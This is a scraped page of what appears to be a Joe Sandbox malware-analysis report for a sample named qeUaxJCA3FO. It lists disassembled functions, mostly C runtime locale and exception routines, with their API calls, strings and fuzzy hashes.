Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID:
String ID: %$+
API String ID: 0-2626897407
Opcode ID: c2513bafea318f081f74fa082069e9e5abe5692480ebbb4dce029a1d0b95b528
Instruction ID: b4ab5eccfcd20a9950be9aaadb4123b91fb43f864a356162298d4fa4840ec154
Opcode Fuzzy Hash: c2513bafea318f081f74fa082069e9e5abe5692480ebbb4dce029a1d0b95b528
Instruction Fuzzy Hash: 0AF10072908240AFEB15DF28CC41A6FBBE5FFC9750F044A1DF984AB251D734E944AB92

Function 00F93320 Relevance: 3.0, Strings: 2, Instructions: 463COMMON

Download Yara Rule

Strings

%, xrefs: 00F937C1
+, xrefs: 00F937D0

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID:
String ID: %$+
API String ID: 0-2626897407
Opcode ID: 858f810ca29e424711fbc519bd23f41f7c37915cb8d6c3d3ad79a5438bce5512
Instruction ID: a811bd76ff5cc6c4569fa7bcea5f2925b2e09b904765f286e7e8788fa1f9dd9c
Opcode Fuzzy Hash: 858f810ca29e424711fbc519bd23f41f7c37915cb8d6c3d3ad79a5438bce5512
Instruction Fuzzy Hash: 9AF110729082019FEB15DF28CC41A6FBBE5EFC9710F054A2DF984A7241D734EA44AB92

Function 00FAB11C Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00FAB117,?,?,00000008,?,?,00FB7A35,00000000), ref: 00FAB349

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 85bbaa63f634b3d294490a1cf5f38976b7f1bfc8c098f0fb7ff0df3295f9dd53
Instruction ID: ad4cfa313268f6f21f7adea89fe8f8646a22d4213f9cb928a6495feb657fda44
Opcode Fuzzy Hash: 85bbaa63f634b3d294490a1cf5f38976b7f1bfc8c098f0fb7ff0df3295f9dd53
Instruction Fuzzy Hash: 72B17FB2610604CFDB15CF2CC486B697BE0FF46364F258659E899CF2A2C335E981DB40

Function 00F9B380 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00F9B396

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 6d0dc3dd07a7b80b9f391c0071faedc47aed0e5055fb935a3a279268950be0ae
Instruction ID: 03819a02e5bbb7c50cd13a71fd12130d0609124d0fa745713719aa7b9ab17036
Opcode Fuzzy Hash: 6d0dc3dd07a7b80b9f391c0071faedc47aed0e5055fb935a3a279268950be0ae
Instruction Fuzzy Hash: 30517271D006058FEB28CF68EA917AAB7F0FB44720F14842AD545EB255D7799D40EF50

Function 00FA15A4 Relevance: 1.6, Strings: 1, Instructions: 344COMMON

Download Yara Rule

Strings

0, xrefs: 00FA1732

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: d7d1b55b921a6386e5bb2fa22468e00570634f7d2b60a110c6afc899375bcd84
Instruction ID: beef73a7c2213817467ac5105a8da3411a7cb3c3bd043d72b9f3901ab69fcaba
Opcode Fuzzy Hash: d7d1b55b921a6386e5bb2fa22468e00570634f7d2b60a110c6afc899375bcd84
Instruction Fuzzy Hash: 65C1DFB4E006468FDB24CF68C4906BABBB6BF47320F2A4619D492DB391C735EC45EB51

Function 00FB28E6 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00FA9827: GetLastError.KERNEL32(?,?,00F9F6A5,00FC3A10,0000000C), ref: 00FA982B
Part of subcall function 00FA9827: SetLastError.KERNEL32(00000000), ref: 00FA98CD

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00FB293A

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 6e11ad2f755a403f759ad20d08749501f402467c2c2aa68cf7c2e61149249066
Instruction ID: 2acaa2ca92e5493e826f491e29f83eac36fd159fb289d2f382336f540443d6d7
Opcode Fuzzy Hash: 6e11ad2f755a403f759ad20d08749501f402467c2c2aa68cf7c2e61149249066
Instruction Fuzzy Hash: AB219572A10206ABEB689B26DC42FFA73A8EF45324F100079FD09D6141EB78ED45BF51

Function 00FA125C Relevance: 1.6, Strings: 1, Instructions: 314COMMON

Download Yara Rule

Strings

0, xrefs: 00FA13E6

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: d80e1159d5736ca869e493ebe0005fbe063c08a8c5c1aff8f32ff54c1ac11689
Instruction ID: 2ad0825927ddb4f33378cb0f697ca73b0b40495c99b4d70c6df669dcba494397
Opcode Fuzzy Hash: d80e1159d5736ca869e493ebe0005fbe063c08a8c5c1aff8f32ff54c1ac11689
Instruction Fuzzy Hash: BFB1ACF4E0460A8BCF34CE68C891ABEB7E5BF47320F16061AD892D7681D734E945EB51

Function 00FB256D Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FA9827: GetLastError.KERNEL32(?,?,00F9F6A5,00FC3A10,0000000C), ref: 00FA982B
Part of subcall function 00FA9827: SetLastError.KERNEL32(00000000), ref: 00FA98CD

EnumSystemLocalesW.KERNEL32(00FB2693,00000001,00000000,?,-00000050,?,00FB2CC4,00000000,?,?,?,00000055,?), ref: 00FB25DF

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 0ca7c8451c5ee0864f1258006857851f4903581893c1f57b96a1b76286a7f02f
Instruction ID: b32d98f7d37b279cd9719b983cbacab6fa6cfc14e4e66fa2647ea785d340caa5
Opcode Fuzzy Hash: 0ca7c8451c5ee0864f1258006857851f4903581893c1f57b96a1b76286a7f02f
Instruction Fuzzy Hash: D611E9366047055FDB289F3AC8A16BAB792FF84368B18442DE94647A40D775B942DF40

Function 00FB2B15 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00FA9827: GetLastError.KERNEL32(?,?,00F9F6A5,00FC3A10,0000000C), ref: 00FA982B
Part of subcall function 00FA9827: SetLastError.KERNEL32(00000000), ref: 00FA98CD

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00FB2990,00000000,00000000,?), ref: 00FB2B41

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 2bbbd6dc0e87e632ce5fcb379237f72411dac5dc64344bdb4c22f59f7aa2e549
Instruction ID: 16f8381a613bd0beae650c2b2305258fd690529696928afb1b98fb6139ff32f2
Opcode Fuzzy Hash: 2bbbd6dc0e87e632ce5fcb379237f72411dac5dc64344bdb4c22f59f7aa2e549
Instruction Fuzzy Hash: 76F02D32D001167BDB685F26CC05BFA7758EB80764F048524EC11A3160DF74FD01EE90

Function 00FB247B Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00FA9827: GetLastError.KERNEL32(?,?,00F9F6A5,00FC3A10,0000000C), ref: 00FA982B
Part of subcall function 00FA9827: SetLastError.KERNEL32(00000000), ref: 00FA98CD

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00FB24CF

Strings

utf8, xrefs: 00FB243E

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID: utf8
API String ID: 3736152602-905460609
Opcode ID: 8c14358fc2c00eb4afb40119636c754e4d2d9c2137125a58372307b72a0d655d
Instruction ID: e4add1679b0f6379518263243c7081201ceb8330d6aa0b48e91aadf34e2bccaf
Opcode Fuzzy Hash: 8c14358fc2c00eb4afb40119636c754e4d2d9c2137125a58372307b72a0d655d
Instruction Fuzzy Hash: CCF0C872A00109ABD714AB35DC5AEFE73ECDB45725F110179B902D7281EA7CAD05AB90

Function 00FB2608 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FA9827: GetLastError.KERNEL32(?,?,00F9F6A5,00FC3A10,0000000C), ref: 00FA982B
Part of subcall function 00FA9827: SetLastError.KERNEL32(00000000), ref: 00FA98CD

EnumSystemLocalesW.KERNEL32(00FB28E6,00000001,?,?,-00000050,?,00FB2C88,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00FB2652

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 07d2e531b0dcc42764aa88411bbadb38a08bbfaff9419032f35139524636a43d
Instruction ID: 42df431fa1a2eccbcff3563e0034cd505fb21d9b5cb656947ad38426d13c88ec
Opcode Fuzzy Hash: 07d2e531b0dcc42764aa88411bbadb38a08bbfaff9419032f35139524636a43d
Instruction Fuzzy Hash: C0F0F0366003045FDB256F3ADC81AFABB96FF81768F05842DF9458B690D6B5AC02EE50

Function 00FA89E6 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FA2F71: EnterCriticalSection.KERNEL32(?,?,00FA94FF,?,00FC3DE0,00000008,00FA96C3,?,?,?), ref: 00FA2F80

EnumSystemLocalesW.KERNEL32(00FA89D9,00000001,00FC3D80,0000000C,00FA8E48,00000000), ref: 00FA8A1E

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: c31c48f89e14c0f9050ceb6f76ce369d325a264f6f5555b38a28811e1a33449b
Instruction ID: 88782096af4226ef1867a9bc878d88df16428660e09a8a1bff7e7adbbaa41a6c
Opcode Fuzzy Hash: c31c48f89e14c0f9050ceb6f76ce369d325a264f6f5555b38a28811e1a33449b
Instruction Fuzzy Hash: 09F062B6A00208DFD714DF98E842B9E77F0EB09760F10451AF411DB290DB7D59419F45

Function 00FB2522 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FA9827: GetLastError.KERNEL32(?,?,00F9F6A5,00FC3A10,0000000C), ref: 00FA982B
Part of subcall function 00FA9827: SetLastError.KERNEL32(00000000), ref: 00FA98CD

EnumSystemLocalesW.KERNEL32(00FB247B,00000001,?,?,?,00FB2CE6,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00FB2559

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 31aa327608c2ba20b63fbfa79a52754933646e48f87e17b114fd87dd027ebb58
Instruction ID: bb709f018585f59c8fbf8044f322b040a6a225dac5030c6ec9adc7287fc5ef0a
Opcode Fuzzy Hash: 31aa327608c2ba20b63fbfa79a52754933646e48f87e17b114fd87dd027ebb58
Instruction Fuzzy Hash: E8F0E53670020597CB14DF3AEC95AAABF94EFC2764F0A405AEA068B651C675D842EF90

Function 00FA8F4C Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00FA7E73,?,20001004,00000000,00000002,?,?,00FA7475), ref: 00FA8F80

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: e4b09b146facf5af8241d810400e2f0870a93ee7b214188921ae116621e4adb7
Instruction ID: 3cefc44eec729a8b8045f09f420954b1ec1b676d78994ce2a417fd266aff8c11
Opcode Fuzzy Hash: e4b09b146facf5af8241d810400e2f0870a93ee7b214188921ae116621e4adb7
Instruction Fuzzy Hash: 5AE04F7690421DBBCF222F65DC09A9E3E2AEF457A0F048111FC0565121CFB99D21BED5

Function 00F9B7F6 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000B802,00F9AE2A), ref: 00F9B7FB

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 309cfc051e5c3e4d34466be7316a00a905929e4f45f887a1d9c7fdde5da3278d
Instruction ID: f9cbfb53460df0b083f533ebd8a4e16de1ee60b2ecee9e28395f9a1b5a46e92f
Opcode Fuzzy Hash: 309cfc051e5c3e4d34466be7316a00a905929e4f45f887a1d9c7fdde5da3278d
Instruction Fuzzy Hash:

Function 00FB2E46 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00FB2E46

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 016d6c6d7a4b1589632cb7b25375f9bfd2dedb8b9afbc23c1152c651523611b5
Instruction ID: 46ca3f41f46eec6a0391d0ec95cd473e6f376f70b112ab0ae4f3e3b1479197c2
Opcode Fuzzy Hash: 016d6c6d7a4b1589632cb7b25375f9bfd2dedb8b9afbc23c1152c651523611b5
Instruction Fuzzy Hash: 09A02230202208CF83308F30AB8830E3BE8BA082C0B0800ACA00CC0028EF3C80A8BF02

Function 00FA9B56 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40462530d1634de5f1ed506cdc9d9bcd32bdc8a5f714ca53be199472989dfe9
Instruction ID: ed9bf44789e9b2ff453f3ea2b9b8ec2dd02a42359176b8436e90627ea26c59c7
Opcode Fuzzy Hash: c40462530d1634de5f1ed506cdc9d9bcd32bdc8a5f714ca53be199472989dfe9
Instruction Fuzzy Hash: 3CE08672915238EBC714DB88D904D49F3FCE785B90B1144A6B501D3110C2B4DF00DBE0

Function 00FA69CE Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5a630a47bc7cf2c319f03ac5adf3fe6ea5721287783c53932d153f0d08af9e9
Instruction ID: 5ec84c62cb7151e96a3f56d3ba5f4c2fee6c0686a3c3534c74d9345cd08e2571
Opcode Fuzzy Hash: b5a630a47bc7cf2c319f03ac5adf3fe6ea5721287783c53932d153f0d08af9e9
Instruction Fuzzy Hash: 5FC08CB4400A0086CE298D1082B23AA3358A3D7BD2F88048CD45B8B642C52EDC8AF610

Function 00F94E90 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 292COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00F94E9D
std::_Lockit::_Lockit.LIBCPMT ref: 00F94EB7
std::_Lockit::~_Lockit.LIBCPMT ref: 00F94ED8
std::_Lockit::~_Lockit.LIBCPMT ref: 00F94F04
std::_Lockit::~_Lockit.LIBCPMT ref: 00F94F39
std::_Lockit::_Lockit.LIBCPMT ref: 00F94F76
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00F94FC7
__Getctype.LIBCPMT ref: 00F94FDE
std::_Facet_Register.LIBCPMT ref: 00F94FF7
std::_Lockit::~_Lockit.LIBCPMT ref: 00F95010

Strings

bad locale name, xrefs: 00F9501F

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_GetctypeLocinfo::_Locinfo_ctorRegister
String ID: bad locale name
API String ID: 1407599034-1405518554
Opcode ID: 9a4374c97ec8f500ca751f3d8069860d5a2e87be66665c326c907cad7af9e3c9
Instruction ID: bac0dd865b7341019b4c8012962237d22a0e13fd5cec214a424894d328104d9c
Opcode Fuzzy Hash: 9a4374c97ec8f500ca751f3d8069860d5a2e87be66665c326c907cad7af9e3c9
Instruction Fuzzy Hash: 73B11431A006408FEB25DF68C845BAAB7F1FF84724F14415DF89897391C73AAC46DB91

Function 00F953D0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00F953DD
std::_Lockit::_Lockit.LIBCPMT ref: 00F953F7
std::_Lockit::~_Lockit.LIBCPMT ref: 00F95418
std::_Lockit::~_Lockit.LIBCPMT ref: 00F95444
std::_Lockit::~_Lockit.LIBCPMT ref: 00F95479
std::_Lockit::_Lockit.LIBCPMT ref: 00F954B6
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00F95507
std::_Facet_Register.LIBCPMT ref: 00F95526
std::_Lockit::~_Lockit.LIBCPMT ref: 00F9553F

Strings

bad locale name, xrefs: 00F9554E

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_Locinfo::_Locinfo_ctorRegister
String ID: bad locale name
API String ID: 3434717313-1405518554
Opcode ID: 3d95015b8959a3edf68ad21be455bad0287955ed9fb3ff689c01beb479f5ec2a
Instruction ID: b11d72e26f19784baac78d86ce159d89a759578a0901039b9647d0b17f2385bd
Opcode Fuzzy Hash: 3d95015b8959a3edf68ad21be455bad0287955ed9fb3ff689c01beb479f5ec2a
Instruction Fuzzy Hash: F841D231A043409FEB55EF28D844B5AB7E0EF90B21F14041DF9888B241DB7AE945DBA3

Function 00F96490 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00F964A0
